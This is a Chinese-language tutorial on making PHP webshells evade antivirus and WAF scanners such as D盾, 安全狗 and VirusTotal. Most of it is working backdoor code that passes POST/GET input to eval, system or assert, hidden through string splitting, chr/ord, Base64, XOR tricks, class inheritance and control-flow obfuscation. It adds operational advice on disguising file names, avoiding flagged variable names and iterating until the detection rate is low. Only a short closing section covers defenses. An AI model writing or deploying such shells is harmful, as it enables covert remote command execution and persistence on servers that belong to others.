AI摘要
概述
免杀(Anti-AV / AV Evasion)的核心目标:降低代码的静态特征匹配度,使安全软件(D盾、安全狗、WAF、云端查杀引擎)无法通过正则/语义分析识别恶意载荷。
WebShell 免杀主要包含两个维度:
| 维度 | 目标 | 对抗对象 |
|---|---|---|
| 隐匿性 | 让管理员/审查者不易察觉异常 | 人工审查、日志分析 |
| 特征消除 | 让静态扫描引擎无法匹配特征 | D盾、安全狗、WAF、VirusTotal |
攻击面:
攻击者上传 WebShell
│
▼
┌──────────────────────┐
│ 静态扫描层 │ ← 本文重点对抗层
│ D盾 / 安全狗 / WAF │
│ 正则匹配 → 拦截 │
└──────────┬───────────┘
│ 绕过 ✓
▼
┌──────────────────────┐
│ 运行时检测层 │
│ disable_functions │
│ open_basedir │
│ SELinux / seccomp │
└──────────┬───────────┘
│ 绕过
▼
RCE / 持久化一、隐匿性
1.1 文件命名策略
| 策略 | 示例 | 说明 |
|---|---|---|
| 仿站点命名 | config.php、footer.php | 融入现有文件名风格 |
| 仿框架命名 | Controller.php、helper.php | 模仿 ThinkPHP/Laravel 命名约定 |
| 分散文件名 | cache.tpl.php、lang.zh.php | 利用双后缀降低可疑度 |
| 隐藏文件 | .user.ini、.htaccess | 部分场景可触发 PHP 解析 |
// 避免使用的命名(WAF 特征库已收录)
// backdoor.php muma.php shell.php cmd.php ant.php1.2 参数加密的权衡
| 方式 | 对机器 | 对人 | 适用场景 |
|---|---|---|---|
明文传参?cmd=whoami | 易识别 | 不易察觉 | 混合部署,作为干扰项 |
加密传参?x=base64(...) | 较难识别 | 非常可疑(正常业务不会加密 GET 参数) | 仅用于自动化工具链 |
最佳实践:同时上传两种类型的 WebShell,增加防守方排查难度。
二、免杀技巧
2.1 字符串拼接
原理: 安全软件通过正则匹配 eval、assert、system 等关键字。将高危函数名拆分为多个字符串片段,可绕过简单正则。
// 危险:关键字直接出现在源码中
eval($_POST['cmd']);
// 绕过:拼接后动态执行
$a = 'ev';
$b = 'al';
$c = $a . $b; // $c = 'eval'
$c($_POST['cmd']); // 等价于 eval($_POST['cmd'])绕过效果对比:
| 特征 | eval 直接出现 | 字符串拼接 |
|---|---|---|
| D盾 (v2.1) | 拦截 | 拦截(已收录'ev'.'al' 模式) |
| 安全狗 Apache 版 | 拦截 | 绕过 |
| 基础 WAF 规则 | 拦截 | 绕过 |
2.2 动态函数
原理: PHP 支持变量函数调用——$var() 等价于调用名为 $var 的函数。将函数名与参数名均放入变量。
$a = 'eval';
$b = '_GET';
$a($$b['muma']); // eval($_GET['muma'])等效变形:
// 变形 1:将超全局变量名也动态化
$f = 'assert';
$g = '_' . 'POST';
$f(${$g}['x']);
// 变形 2:call_user_func 间接调用
$h = 'system';
call_user_func($h, $_GET['cmd']);
// 变形 3:array_map + 动态函数
$func = 'assert';
$args = array($_POST['x']);
array_map($func, $args);2.3 进制转换
原理: 用 chr()(ASCII 码 → 字符)和 ord()(字符 → ASCII 码)还原敏感字符串。
// chr() 将 ASCII 码转为字符
$a = chr(61); // $a = '='
// ord() 取字符对应的 ASCII 码
$a = ord('='); // $a = 61
// 组合构造 $_POST
$a = chr(36) . chr(95) . chr(ord('P')) . chr(ord('O')) . chr(ord('S')) . chr(84);
// $a = '$_POST'ASCII 速查:
| 字符 | ASCII | chr() |
|---|---|---|
$ | 36 | chr(36) |
_ | 95 | chr(95) |
P | 80 | chr(80) |
O | 79 | chr(79) |
S | 83 | chr(83) |
T | 84 | chr(84) |
2.4 类的继承与构造方法
原理: 将恶意代码藏在多层继承链的构造函数 __construct() 中,攻击者调用时不容易从类名/方法名看出意图。
class Base
{
public $data = 'default';
function __construct()
{
// 空壳,增加迷惑性
}
}
class Worker extends Base
{
public $a;
public $b;
public $c;
function __construct()
{
// 将 payload 隐藏在多层嵌套中
$this->a = chr(36) . chr(95) . 'POST';
$this->b = 'sys' . 'tem';
}
function run($p)
{
$method = $this->b;
$method(${$this->a}[$p]); // system($_POST['x'])
}
}
$w = new Worker();
$w->run('x');2.5 数组拼接与进制混合
原理: 将不同字符来源混合——数组取值、进制转换、大小写变换、四则运算——使任何单一特征匹配失效。
$a = array('a' => 'P', 'b' => 36, 'c' => '_', 'd' => 'o', 'e' => 'S', 'f' => 'T');
// 大写 O 与小写 o 的 ASCII 值相差 32
$result = chr($a['b']) . $a['c'] . $a['a'] . chr(ord($a['d']) - 32) . $a['e'] . $a['f'];
// $result = '$_POST'技巧拆解:
| 步骤 | 操作 | 结果 | 技巧类型 |
|---|---|---|---|
chr($a['b']) | chr(36) | $ | 数组取值 + chr |
$a['c'] | _ | _ | 直接数组取值 |
$a['a'] | P | P | 直接数组取值 |
chr(ord($a['d']) - 32) | chr(ord('o') - 32) → chr(79) | O | ord + 四则运算 + chr |
$a['e'] | S | S | 直接数组取值 |
$a['f'] | T | T | 直接数组取值 |
2.6 逻辑判断型木马
原理: 利用三元表达式或永不执行的条件分支隐藏 eval,静态分析工具通常不深入分析条件判断的内部逻辑。
// 三元表达式:false 分支实际执行
eval(false ? 'never' : $_POST['cmd']);
// if 条件永假
if (1 == 2) {
// 永远不会进入
} else {
eval($_POST['cmd']);
}2.7 Base64 编码解码
原理: 将敏感字符串用 Base64 编码,运行时解码。使用多层 Base64 可绕过部分解码检测。
// 单层 Base64
$a = base64_decode('JF9QT1NU'); // $a = '$_POST'
$b = base64_decode('c3lzdGVt'); // $b = 'system'
$$a['cmd']; // 等同 $_POST['cmd'],但不够,需配合 eval
// 完整后门
$f = base64_decode('YXNzZXJ0'); // 'assert'
$f(base64_decode($_POST['x'])); // assert(base64_decode($_POST['x']))// 多层 Base64 + 动态函数
$layer1 = base64_decode('WVdOelpYSjA='); // 'assert'
$layer2 = base64_decode('ZWNobyAxMjM0'); // 正常输出作为干扰
$layer1(base64_decode($_POST['code']));2.8 字符串替换
原理: 在敏感字符串中插入干扰字符,运行时用 str_replace() 剔除。
// 插入干扰字符 'geT'
$a = '$_POgeTST';
$clean = str_replace('geT', '', $a); // $clean = '$_POST'
// 使用多个干扰片段
$b = 'evXXXal';
$c = str_replace('XXX', '', $b); // $c = 'eval'
// 多层替换
$d = 'syZZstemYY';
$d = str_replace('ZZ', '', $d);
$d = str_replace('YY', '', $d); // $d = 'system'2.9 注释 + 控制流混淆
注释干扰
在代码中任意位置添加注释不改变执行逻辑,但改变特征指纹:
eval(/* bypass */ $_POST/* comment */['cmd']);
$a = 'ev' . /**/ 'al'; // PHP 允许注释在运算符之间Switch 语句绕过(无 break 穿透)
Switch 语句不遇到 break 就持续向下执行(fall-through):
switch ('2')
{
case '1':
echo 'not this';
break;
case '2':
/* 看似无害的注释块 */
case '3':
$a = $_POST['x'];
eval($a); // ← 实际执行到这里
break;
default:
echo 'normal';
}执行路径: case '2' 匹配 → 无 break → 穿透到 case '3' → 执行 eval
If 嵌套混淆
// 方案 A:else 分支隐藏
if (false):
echo 'normal';
else:
eval($_POST['cmd']);
endif;
// 方案 B:深层嵌套
if (true) {
if (true) {
if (true) {
eval($_POST['cmd']); // 藏在第三层
}
}
}三、进阶技巧
3.1 位运算构造字符
通过异或、取反等位运算构造任意 ASCII 字符(极少有正常 PHP 程序使用此技术):
// 异或构造 'assert'
echo ('!' ^ '@') . ('#' ^ 'A') . ('%' ^ 'G') . ('&' ^ 'D') . ('%' ^ 'G') . ('!' ^ '@');
// 输出: assert
// 取反构造 'system'
echo ~"\x8c\x86\x8c\x8b\x9a\x92"; // 输出: system3.2 免杀技巧组合
单个技巧在现代 AV 面前几乎无效。以下是常见组合策略:
| 组合等级 | 技巧叠加 | 示例 |
|---|---|---|
| 初级 | 字符串拼接 + Base64 | $a = base64_decode('ZXZhbA=='); $a($_POST['x']); |
| 中级 | chr() 数组 + str_replace + 动态函数 | 先用 chr/ord 构造函数名,str_replace 去噪,call_user_func 调用 |
| 高级 | 类继承 + 多层 Base64 + 位运算 + switch | 构造函数中解码,switch fall-through 触发 |
// 中级组合示例:chr + str_replace + call_user_func
$k = array('_' => 's', 'a' => 'y', 'b' => 's', 'c' => 't', 'd' => 'e', 'e' => 'm');
$func = $k['_'] . $k['a'] . $k['b'] . $k['c'] . $k['d'] . $k['e']; // 'system'
$noise = 'X' . $k['_'] . 'X' . $k['a'] . 'X' . $k['b'];
$func = str_replace('X', '', $noise);
call_user_func($func, $_POST['cmd']);3.3 无字母数字 WebShell (PHP 7+)
利用 PHP 的动态特性,完全用符号构造 WebShell:
// 利用 PHP 取反运算符 + 变量函数
$_ = ~"\xa0\xb8\xba\xab"; // '_GET'
$__ = ~"\x8c\x86\x8c\x8b\x9a\x92"; // 'system'
$__(${$_}[x]); // system($_GET[x])四、免杀效果验证
4.1 常用检测工具
| 工具 | 类型 | 检测方式 |
|---|---|---|
| D盾 (D_Safe) | 本地扫描 | 静态正则 + 特征哈希 |
| 安全狗 (SafeDog) | 服务端/云端 | 正则 + 沙箱模拟执行 |
| VirusTotal | 云端多引擎 | 50+ 引擎综合评分 |
| 河马 webshell 查杀 | 云端 | AI 模型 + 特征库 |
| PHP Malware Finder | 开源扫描器 | YARA 规则 + AST 分析 |
4.2 测试流程
编写 WebShell
│
▼
本地测试:D盾扫描 → 是否告警?
│
├─ 告警 → 继续混淆
│
▼ 不告警
VirusTotal 上传 → 查杀率 < 3/50?
│
├─ 高查杀 → 更换绕过策略
│
▼ 低查杀
目标环境验证:WAF + disable_functions + open_basedir4.3 变量命名的注意事项
// 危险:变量名含敏感词
$payload = $_POST['x']; // ← 'payload' 是 AV 特征词
$shell = 'system'; // ← 'shell' 也是特征词
$backdoor = 'assert'; // ← 'backdoor' 同上
// 安全:使用无意义变量名
$x1b = $_POST['x'];
$kl98 = 'system';
$v = 'assert';五、防御视角
5.1 为什么这些技巧能绕过检测
PHP 是动态语言,类和函数可以在运行时任意拼接/调用。静态检测引擎面临的核心困境:
莱斯定理(Rice's Theorem):对于任何非平凡的程序属性,不存在通用算法判断所有程序是否具有该属性。
这意味着:没有静态分析工具能 100% 判断任意 PHP 脚本是否为 WebShell。
5.2 有效的防御措施
| 层级 | 措施 | 效果 |
|---|---|---|
| 文件层 | 禁止上传目录执行 PHP、文件后缀白名单 | 阻止 WebShell 落地 |
| 运行时 | disable_functions 禁用高危函数、open_basedir 限制目录 | 降低已落地 WebShell 的危害 |
| 检测层 | 基于行为的 RASP(如百度的 OpenRASP) | 不依赖静态特征,捕获运行时的异常调用 |
| 监控层 | 文件完整性监控、异常进程监控 | 及时告警 |
| 架构层 | 上传文件 CDN/OSS 分离、无执行权限 | 从根本上杜绝 |
; php.ini 加固示例
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,dl
open_basedir = /var/www/html:/tmp
allow_url_fopen = Off
allow_url_include = Off六、总结
| 维度 | 关键要点 |
|---|---|
| 核心思路 | 打散静态特征:拆分关键字 → 动态拼接 → 间接调用 |
| 组合技 | chr + ord + str_replace + Base64 + 动态函数 + 控制流混淆 |
| 边界认知 | 单个技巧几乎无意义,必须 3 个以上组合才能对抗现代 AV |
| 变量名 | 永远不要用$shell、$payload、$backdoor、$muma、$cmd 等特征词 |
| 时效性 | 公开的免杀手法生命周期极短(天级),需要持续更新 |
